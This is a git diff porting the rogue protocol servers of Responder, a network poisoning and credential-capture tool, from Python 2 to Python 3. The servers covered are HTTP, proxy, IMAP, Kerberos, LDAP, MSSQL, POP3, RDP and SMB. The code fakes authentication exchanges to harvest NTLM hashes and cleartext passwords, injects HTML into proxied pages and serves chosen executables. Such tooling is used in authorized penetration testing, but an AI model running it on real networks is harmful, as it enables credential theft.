"HTTP" ParseHTTPHash(NTLM_Auth, Challenge, client, module) if settings.Config.Force_WPAD_Auth and WPAD_Custom: - print text("[HTTP] WPAD (auth) file sent to %s" % client) + print(text("[HTTP] WPAD (auth) file sent to %s" % client)) return WPAD_Custom else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() - return str(Buffer) + return NetworkSendBufferPython2or3(Buffer) elif Basic_Auth: ClearText_Auth = b64decode(''.join(Basic_Auth)) @@ -234,31 +237,31 @@ def PacketSequence(data, client, Challenge): 'module': 'HTTP', 'type': 'Basic', 'client': client, - 'user': ClearText_Auth.split(':')[0], - 'cleartext': ClearText_Auth.split(':')[1], - }) + 'user': ClearText_Auth.decode('latin-1').split(':')[0], + 'cleartext': ClearText_Auth.decode('latin-1').split(':')[1], + }) if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Verbose: - print text("[HTTP] WPAD (auth) file sent to %s" % client) + print(text("[HTTP] WPAD (auth) file sent to %s" % client)) return WPAD_Custom else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() - return str(Buffer) + return NetworkSendBufferPython2or3(Buffer) else: if settings.Config.Basic: Response = IIS_Basic_401_Ans() if settings.Config.Verbose: - print text("[HTTP] Sending BASIC authentication request to %s" % client) + print(text("[HTTP] Sending BASIC authentication request to %s" % client)) else: Response = IIS_Auth_401_Ans() if settings.Config.Verbose: - print text("[HTTP] Sending NTLM authentication request to %s" % client) + print(text("[HTTP] Sending NTLM authentication request to %s" % client)) - return str(Response) + return Response # HTTP Server class class HTTP(BaseRequestHandler): @@ -266,14 +269,13 @@ class HTTP(BaseRequestHandler): def handle(self): try: Challenge = RandomChallenge() - while True: self.request.settimeout(3) remaining = 10*1024*1024 #setting max recieve size data = '' while True: buff = '' - buff = self.request.recv(8092) + buff = NetworkRecvBufferPython2or3(self.request.recv(8092)) if buff == '': break data += buff @@ -298,14 +300,14 @@ class HTTP(BaseRequestHandler): Buffer = WpadCustom(data, self.client_address[0]) if Buffer and settings.Config.Force_WPAD_Auth == False: - self.request.send(Buffer) + self.request.send(NetworkSendBufferPython2or3(Buffer)) self.request.close() if settings.Config.Verbose: - print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) + print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])) else: Buffer = PacketSequence(data,self.client_address[0], Challenge) - self.request.send(Buffer) + self.request.send(NetworkSendBufferPython2or3(Buffer)) except socket.error: pass diff --git a/servers/HTTP_Proxy.py b/servers/HTTP_Proxy.py index 0a71f2f..76402c1 100644 --- a/servers/HTTP_Proxy.py +++ b/servers/HTTP_Proxy.py @@ -14,13 +14,18 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import urlparse +from utils import * +if settings.Config.PY2OR3 is "PY3": + import urllib.parse as urlparse + import http.server as BaseHTTPServer +else: + import urlparse + import BaseHTTPServer + import select import zlib -import BaseHTTPServer - from servers.HTTP import RespondWithFile -from utils import * + IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ] @@ -34,9 +39,9 @@ def InjectData(data, client, req_uri): if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'): return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri)) - if len(data.split('\r\n\r\n')) > 1: + if len(data.split(b'\r\n\r\n')) > 1: try: - Headers, Content = data.split('\r\n\r\n') + Headers, Content = data.split(b'\r\n\r\n') except: return data @@ -44,30 +49,34 @@ def InjectData(data, client, req_uri): if set(RedirectCodes) & set(Headers): return data - if "content-encoding: gzip" in Headers.lower(): + Len = b''.join(re.findall(b'(?<=Content-Length: )[^\r\n]*', Headers)) + + if b'content-encoding: gzip' in Headers.lower(): Content = zlib.decompress(Content, 16+zlib.MAX_WBITS) - if "content-type: text/html" in Headers.lower(): + if b'content-type: text/html' in Headers.lower(): if settings.Config.Serve_Html: # Serve the custom HTML if needed return RespondWithFile(client, settings.Config.Html_Filename) - Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers)) - HasBody = re.findall(r'(]*>)', Content, re.IGNORECASE) + + HasBody = re.findall(b'(]*>)', Content, re.IGNORECASE) if HasBody and len(settings.Config.HtmlToInject) > 2 and not req_uri.endswith('.js'): if settings.Config.Verbose: - print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)) + print(text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))) - Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject)) + Content = Content.replace(HasBody[0], b'%s\n%s' % (HasBody[0], settings.Config.HtmlToInject.encode('latin-1'))) - if "content-encoding: gzip" in Headers.lower(): + if b'content-encoding: gzip' in Headers.lower(): Content = zlib.compress(Content) - Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content))) - data = Headers +'\r\n\r\n'+ Content + Headers = Headers.replace(b'Content-Length: '+Len, b'Content-Length: '+ NetworkSendBufferPython2or3(len(Content))) + data = Headers +b'\r\n\r\n'+ Content + else: if settings.Config.Verbose: - print text("[PROXY] Returning unmodified HTTP response") + print(text("[PROXY] Returning unmodified HTTP response")) + return data class ProxySock: @@ -99,14 +108,14 @@ class ProxySock: # Replace the socket by a connection to the proxy self.socket = socket.socket(family, socktype, proto) self.socket.connect(sockaddr) - except socket.error, msg: + except socket.error as msg: if self.socket: self.socket.close() self.socket = None continue break if not self.socket : - raise socket.error, msg + raise socket.error(msg) # Ask him to create a tunnel connection to the target host/port self.socket.send( @@ -121,7 +130,7 @@ class ProxySock: # Not 200 ? if parts[1] != "200": - print color("[!] Error response from upstream proxy: %s" % resp, 1) + print(color("[!] Error response from upstream proxy: %s" % resp, 1)) pass # Wrap all methods of inner socket, without any change @@ -200,7 +209,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): def handle(self): (ip, port) = self.client_address if settings.Config.Verbose: - print text("[PROXY] Received connection from %s" % self.client_address[0]) + print(text("[PROXY] Received connection from %s" % self.client_address[0])) self.__base_handle() def _connect_to(self, netloc, soc): @@ -210,7 +219,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): else: host_port = netloc, 80 try: soc.connect(host_port) - except socket.error, arg: + except socket.error as arg: try: msg = arg[1] except: msg = arg self.send_error(404, msg) @@ -271,14 +280,14 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): URL_Unparse = urlparse.urlunparse(('', '', path, params, query, '')) if self._connect_to(netloc, soc): - soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version)) + soc.send(NetworkSendBufferPython2or3("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version))) Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' if settings.Config.Verbose: - print text("[PROXY] Client : %s" % color(self.client_address[0], 3)) - print text("[PROXY] Requested URL : %s" % color(self.path, 3)) - print text("[PROXY] Cookie : %s" % Cookie) + print(text("[PROXY] Client : %s" % color(self.client_address[0], 3))) + print(text("[PROXY] Requested URL : %s" % color(self.path, 3))) + print(text("[PROXY] Cookie : %s" % Cookie)) self.headers['Connection'] = 'close' del self.headers['Proxy-Connection'] @@ -286,8 +295,8 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): del self.headers['Range'] for k, v in self.headers.items(): - soc.send("%s: %s\r\n" % (k.title(), v)) - soc.send("\r\n") + soc.send(NetworkSendBufferPython2or3("%s: %s\r\n" % (k.title(), v))) + soc.send(NetworkSendBufferPython2or3("\r\n")) try: self._read_write(soc, netloc) @@ -325,13 +334,14 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): try: data = i.recv(4096) - if self.command == "POST" and settings.Config.Verbose: - print text("[PROXY] POST Data : %s" % data) + if self.command == b'POST' and settings.Config.Verbose: + print(text("[PROXY] POST Data : %s" % data)) except: pass if data: try: out.send(data) + count = 0 except: pass diff --git a/servers/IMAP.py b/servers/IMAP.py index 765db32..2e6c7ce 100644 --- a/servers/IMAP.py +++ b/servers/IMAP.py @@ -14,36 +14,35 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . +import sys from utils import * -from SocketServer import BaseRequestHandler +if (sys.version_info > (3, 0)): + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd class IMAP(BaseRequestHandler): def handle(self): try: - self.request.send(str(IMAPGreeting())) + self.request.send(NetworkSendBufferPython2or3(IMAPGreeting())) data = self.request.recv(1024) - - if data[5:15] == "CAPABILITY": + if data[5:15] == b'CAPABILITY': RequestTag = data[0:4] - self.request.send(str(IMAPCapability())) - self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) + self.request.send(NetworkSendBufferPython2or3(IMAPCapability())) + self.request.send(NetworkSendBufferPython2or3(IMAPCapabilityEnd(Tag=RequestTag.decode("latin-1")))) data = self.request.recv(1024) - if data[5:10] == "LOGIN": - Credentials = data[10:].strip() - + if data[5:10] == b'LOGIN': + Credentials = data[10:].strip().decode("latin-1").split('"') SaveToDb({ 'module': 'IMAP', 'type': 'Cleartext', 'client': self.client_address[0], - 'user': Credentials[0], - 'cleartext': Credentials[1], - 'fullhash': Credentials[0]+":"+Credentials[1], + 'user': Credentials[1], + 'cleartext': Credentials[3], + 'fullhash': Credentials[1]+":"+Credentials[3], }) - ## FIXME: Close connection properly - ## self.request.send(str(ditchthisconnection())) - ## data = self.request.recv(1024) except Exception: pass diff --git a/servers/Kerberos.py b/servers/Kerberos.py index 39a57aa..bef73ce 100644 --- a/servers/Kerberos.py +++ b/servers/Kerberos.py @@ -14,56 +14,61 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -from SocketServer import BaseRequestHandler -from utils import * +import codecs import struct +from utils import * +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + def ParseMSKerbv5TCP(Data): MsgType = Data[21:22] EncType = Data[43:44] MessageType = Data[32:33] - if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": - if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": + if MsgType == b'\x0a' and EncType == b'\x17' and MessageType ==b'\x02': + if Data[49:53] == b'\xa2\x36\x04\x34' or Data[49:53] == b'\xa2\x35\x04\x33': HashLen = struct.unpack('. -from SocketServer import BaseRequestHandler +import sys +if (sys.version_info > (3, 0)): + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge from utils import * import struct +import codecs def ParseSearch(data): - if re.search(r'(objectClass)', data): - return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9])) - elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data): - return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) - elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data): - return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9])) + if re.search(b'(objectClass)', data): + return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9].decode('latin-1'))) + elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data): + return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1'))) + elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data): + return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1'))) def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2 - SSPIStart = data.find('NTLMSSP') - SSPIString = data[SSPIStart:] + SSPIStart = data.find(b'NTLMSSP') + SSPIString = data[SSPIStart:] LMhashLen = struct.unpack(' 60: - SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() + SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen] + SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1') DomainLen = struct.unpack('i',data[2:6])[0] MessageSequence = struct.unpack('i',data[11:15])[0] LDAPVersion = struct.unpack('. -from SocketServer import BaseRequestHandler -from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer -from utils import * import random import struct +import codecs +from utils import * +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler +from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer + class TDS_Login_Packet: def __init__(self, data): @@ -41,7 +46,7 @@ class TDS_Login_Packet: LocaleLen = struct.unpack(' 60: - WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:]) + WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), NTHash[:32], NTHash[32:]) SaveToDb({ 'module': 'MSSQL', @@ -99,10 +102,10 @@ def ParseSQLHash(data, client, Challenge): def ParseSqlClearTxtPwd(Pwd): Pwd = map(ord,Pwd.replace('\xa5','')) - Pw = '' + Pw = b'' for x in Pwd: - Pw += hex(x ^ 0xa5)[::-1][:2].replace("x", "0").decode('hex') - return Pw + Pw += codecs.decode(hex(x ^ 0xa5)[::-1][:2].replace("x", "0"), 'hex') + return Pw.decode('latin-1') def ParseClearTextSQLPass(data, client): @@ -122,57 +125,62 @@ class MSSQL(BaseRequestHandler): def handle(self): try: - data = self.request.recv(1024) - if settings.Config.Verbose: - print text("[MSSQL] Received connection from %s" % self.client_address[0]) - - if data[0] == "\x12": # Pre-Login Message - Buffer = str(MSSQLPreLoginAnswer()) - self.request.send(Buffer) + self.ntry = 0 + while True: data = self.request.recv(1024) + self.request.settimeout(1) + Challenge = RandomChallenge() - if data[0] == "\x10": # NegoSSP - if re.search("NTLMSSP",data): - Challenge = RandomChallenge() - Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) - Packet.calculate() - Buffer = str(Packet) - self.request.send(Buffer) + if not data: + break + if settings.Config.Verbose: + print(text("[MSSQL] Received connection from %s" % self.client_address[0])) + if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message + Buffer = str(MSSQLPreLoginAnswer()) + self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) - else: - ParseClearTextSQLPass(data,self.client_address[0]) - if data[0] == "\x11": # NegoSSP Auth - ParseSQLHash(data,self.client_address[0],Challenge) + if data[0] == b"\x10" or data[0] == 16: # NegoSSP + if re.search(b'NTLMSSP',data): + Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) + Packet.calculate() + Buffer = str(Packet) + self.request.send(NetworkSendBufferPython2or3(Buffer)) + data = self.request.recv(1024) + else: + ParseClearTextSQLPass(data,self.client_address[0]) + + if data[0] == b'\x11' or data[0] == 17: # NegoSSP Auth + ParseSQLHash(data,self.client_address[0],Challenge) except: - pass + pass # MSSQL Server Browser class # See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx class MSSQLBrowser(BaseRequestHandler): def handle(self): if settings.Config.Verbose: - print text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0]) + print(text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0])) data, soc = self.request if data: - if data[0] in "\x02\x03": # CLNT_BCAST_EX / CLNT_UCAST_EX + if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX self.send_response(soc, "MSSQLSERVER") - elif data[0] == "\x04": # CLNT_UCAST_INST + elif data[0] == b'\x04': # CLNT_UCAST_INST self.send_response(soc, data[1:].rstrip("\x00")) - elif data[0] == "\x0F": # CLNT_UCAST_DAC + elif data[0] == b'\x0F': # CLNT_UCAST_DAC self.send_dac_response(soc) def send_response(self, soc, inst): - print text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0]) + print(text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0])) server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20))) resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst) - soc.sendto(struct.pack(". from utils import * -from SocketServer import BaseRequestHandler -from packets import POPOKPacket +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler +from packets import POPOKPacket,POPNotOKPacket # POP3 Server class class POP3(BaseRequestHandler): def SendPacketAndRead(self): Packet = POPOKPacket() - self.request.send(str(Packet)) + self.request.send(NetworkSendBufferPython2or3(Packet)) return self.request.recv(1024) def handle(self): try: data = self.SendPacketAndRead() - - if data[0:4] == "USER": - User = data[5:].replace("\r\n","") + if data[0:4] == b'CAPA': + self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket())) + data = self.request.recv(1024) + if data[0:4] == b'AUTH': + self.request.send(NetworkSendBufferPython2or3(POPNotOKPacket())) + data = self.request.recv(1024) + if data[0:4] == b'USER': + User = data[5:].strip(b"\r\n").decode("latin-1") data = self.SendPacketAndRead() - if data[0:4] == "PASS": - Pass = data[5:].replace("\r\n","") + if data[0:4] == b'PASS': + Pass = data[5:].strip(b"\r\n").decode("latin-1") SaveToDb({ 'module': 'POP3', diff --git a/servers/Proxy_Auth.py b/servers/Proxy_Auth.py index f83b31e..9351785 100644 --- a/servers/Proxy_Auth.py +++ b/servers/Proxy_Auth.py @@ -14,15 +14,18 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import SocketServer -from HTTP import ParseHTTPHash -from packets import * from utils import * +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler, StreamRequestHandler +else: + from SocketServer import BaseRequestHandler, StreamRequestHandler +from servers.HTTP import ParseHTTPHash +from packets import * def GrabUserAgent(data): UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) - if UserAgent: - print text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2)) + if UserAgent: + print(text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2))) def GrabCookie(data): Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data) @@ -30,8 +33,8 @@ def GrabCookie(data): if Cookie: Cookie = Cookie.group(0).replace('Cookie: ', '') if len(Cookie) > 1: - if settings.Config.Verbose: - print text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2)) + if settings.Config.Verbose: + print(text("[Proxy-Auth] %s" % color("Cookie : "+Cookie, 2))) return Cookie return False @@ -41,8 +44,8 @@ def GrabHost(data): if Host: Host = Host.group(0).replace('Host: ', '') - if settings.Config.Verbose: - print text("[Proxy-Auth] %s" % color("Host : "+Host, 2)) + if settings.Config.Verbose: + print(text("[Proxy-Auth] %s" % color("Host : "+Host, 2))) return Host return False @@ -52,36 +55,35 @@ def PacketSequence(data, client, Challenge): Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) if NTLM_Auth: Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] - if Packet_NTLM == "\x01": + if Packet_NTLM == b'\x01': if settings.Config.Verbose: - print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client) - - Buffer = NTLM_Challenge(ServerChallenge=Challenge) + print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)) + Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) Buffer.calculate() - Buffer_Ans = WPAD_NTLM_Challenge_Ans() - Buffer_Ans.calculate(str(Buffer)) - return str(Buffer_Ans) - if Packet_NTLM == "\x03": + Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1')) + return Buffer_Ans + + if Packet_NTLM == b'\x03': NTLM_Auth = b64decode(''.join(NTLM_Auth)) - ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth") - GrabUserAgent(data) - GrabCookie(data) - GrabHost(data) - return False #Send a RST with SO_LINGER when close() is called (see Responder.py) + ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth") + GrabUserAgent(data) + GrabCookie(data) + GrabHost(data) + return False else: return False elif Basic_Auth: - GrabUserAgent(data) - GrabCookie(data) - GrabHost(data) - ClearText_Auth = b64decode(''.join(Basic_Auth)) + GrabUserAgent(data) + GrabCookie(data) + GrabHost(data) + ClearText_Auth = b64decode(''.join(Basic_Auth).encode('latin-1')) SaveToDb({ 'module': 'Proxy-Auth', 'type': 'Basic', 'client': client, - 'user': ClearText_Auth.split(':')[0], - 'cleartext': ClearText_Auth.split(':')[1], + 'user': ClearText_Auth.decode('latin-1').split(':')[0], + 'cleartext': ClearText_Auth.decode('latin-1').split(':')[1], }) return False @@ -89,24 +91,51 @@ def PacketSequence(data, client, Challenge): if settings.Config.Basic: Response = WPAD_Basic_407_Ans() if settings.Config.Verbose: - print text("[Proxy-Auth] Sending BASIC authentication request to %s" % client) + print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client)) else: Response = WPAD_Auth_407_Ans() return str(Response) -class Proxy_Auth(SocketServer.BaseRequestHandler): +class Proxy_Auth(BaseRequestHandler): - - def handle(self): + def handle(self): try: - Challenge = RandomChallenge() - for x in range(2): - data = self.request.recv(4096) - self.request.send(PacketSequence(data, self.client_address[0], Challenge)) + Challenge = RandomChallenge() + while True: + self.request.settimeout(3) + remaining = 10*1024*1024 #setting max recieve size + data = '' + while True: + buff = '' + buff = NetworkRecvBufferPython2or3(self.request.recv(8092)) + if buff == '': + break + data += buff + remaining -= len(buff) + #check if we recieved the full header + if data.find('\r\n\r\n') != -1: + #we did, now to check if there was anything else in the request besides the header + if data.find('Content-Length') == -1: + #request contains only header + break + else: + #searching for that content-length field in the header + for line in data.split('\r\n'): + if line.find('Content-Length') != -1: + line = line.strip() + remaining = int(line.split(':')[1].strip()) - len(data) + if remaining <= 0: + break + if data == "": + break + + else: + Buffer = PacketSequence(data,self.client_address[0], Challenge) + self.request.send(NetworkSendBufferPython2or3(Buffer)) except: - pass + pass diff --git a/servers/RDP.py b/servers/RDP.py index 62c0dd9..fd52f1d 100644 --- a/servers/RDP.py +++ b/servers/RDP.py @@ -14,71 +14,79 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -from SocketServer import BaseRequestHandler from utils import * -from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer import struct import re import ssl +import codecs +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + +from packets import TPKT, X224, RDPNEGOAnswer, RDPNTLMChallengeAnswer cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) def ParseNTLMHash(data,client, Challenge): #Parse NTLMSSP v1/v2 - SSPIStart = data.find('NTLMSSP') - SSPIString = data[SSPIStart:] + SSPIStart = data.find(b'NTLMSSP') + SSPIString = data[SSPIStart:] LMhashLen = struct.unpack(' 60: - NTLMHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() + SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen] + SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1') DomainLen = struct.unpack('. +import struct, re +import codecs +from utils import * +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler from random import randrange from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData, SMB2Header, SMB2NegoAns, SMB2Session1Data, SMB2Session2Data -from SocketServer import BaseRequestHandler -from utils import * -import struct -import re def Is_Anonymous(data): # Detect if SMB auth was Anonymous @@ -43,30 +46,25 @@ def Parse_Nego_Dialect(data): if Dialect[i] == 'NT LM 0.12': return chr(i) + '\x00' - def midcalc(data): #Set MID SMB Header field. return data[34:36] - - def uidcalc(data): #Set UID SMB Header field. return data[32:34] - def pidcalc(data): #Set PID SMB Header field. pack=data[30:32] return pack - def tidcalc(data): #Set TID SMB Header field. pack=data[28:30] return pack def ParseShare(data): packet = data[:] - a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet) + a = re.search(b'(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet) if a: - print text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE')) + print(text("[SMB] Requested Share : %s" % a.group(0).decode('UTF-16LE'))) def GrabMessageID(data): Messageid = data[28:36] @@ -74,8 +72,8 @@ def GrabMessageID(data): def GrabCreditRequested(data): CreditsRequested = data[18:20] - if CreditsRequested == "\x00\x00": - CreditsRequested = "\x01\x00" + if CreditsRequested == b'\x00\x00': + CreditsRequested = b'\x01\x00' else: CreditsRequested = data[18:20] return CreditsRequested @@ -89,23 +87,25 @@ def GrabSessionID(data): return SessionID def ParseSMBHash(data,client, Challenge): #Parse SMB NTLMSSP v1/v2 - SSPIStart = data.find('NTLMSSP') - SSPIString = data[SSPIStart:] + SSPIStart = data.find(b'NTLMSSP') + SSPIString = data[SSPIStart:] LMhashLen = struct.unpack(' 60: - SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() + SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen] + SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1') DomainLen = struct.unpack(' 25: - FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex') + FullHash = codecs.encode(data[65+LMhashLen:65+LMhashLen+NthashLen],'hex') LmHash = FullHash[:32].upper() NtHash = FullHash[32:].upper() - WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), LmHash, NtHash) + WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), LmHash.decode('latin-1'), NtHash.decode('latin-1')) SaveToDb({ 'module': 'SMB', @@ -157,10 +158,9 @@ def ParseLMNTHash(data, client, Challenge): # Parse SMB NTLMv1/v2 }) if NthashLen == 24: - NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() - LmHash = data[65:65+LMhashLen].encode('hex').upper() - WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, Challenge.encode('hex')) - + NtHash = codecs.encode(data[65+LMhashLen:65+LMhashLen+NthashLen],'hex').upper() + LmHash = codecs.encode(data[65:65+LMhashLen],'hex').upper() + WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash.decode('latin-1'), NtHash.decode('latin-1'), codecs.encode(Challenge,'hex').decode('latin-1')) SaveToDb({ 'module': 'SMB', 'type': 'NTLMv1', @@ -184,7 +184,7 @@ def IsNT4ClearTxt(data, client): if PassLen > 2: Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") - print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) + print(text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))) WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) @@ -195,7 +195,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP while True: data = self.request.recv(1024) self.request.settimeout(1) - Challenge = RandomChallenge() + Challenge = RandomChallenge() if not data: break @@ -206,84 +206,86 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP self.request.send(Buffer) data = self.request.recv(1024) except: + raise pass ##Negotiate proto answer SMBv2. - if data[8:10] == "\x72\x00" and re.search("SMB 2.\?\?\?", data): - head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00") - t = SMB2NegoAns() - t.calculate() - packet1 = str(head)+str(t) - buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ## Session Setup 1 answer SMBv2. - if data[16:18] == "\x00\x00" and data[4:5] == "\xfe": - head = SMB2Header(MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data)) - t = SMB2NegoAns(Dialect="\x10\x02") - t.calculate() - packet1 = str(head)+str(t) - buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ## Session Setup 2 answer SMBv2. - if data[16:18] == "\x01\x00" and data[4:5] == "\xfe": - head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), SessionID=GrabSessionID(data),NTStatus="\x16\x00\x00\xc0") - t = SMB2Session1Data(NTLMSSPNtServerChallenge=Challenge) - t.calculate() - packet1 = str(head)+str(t) - buffer1 = struct.pack(">i", len(''.join(packet1)))+packet1 - self.request.send(buffer1) - data = self.request.recv(1024) - ## Session Setup 3 answer SMBv2. - if data[16:18] == "\x01\x00" and GrabMessageID(data)[0:1] == "\x02" and data[4:5] == "\xfe": - ParseSMBHash(data, self.client_address[0], Challenge) - head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", 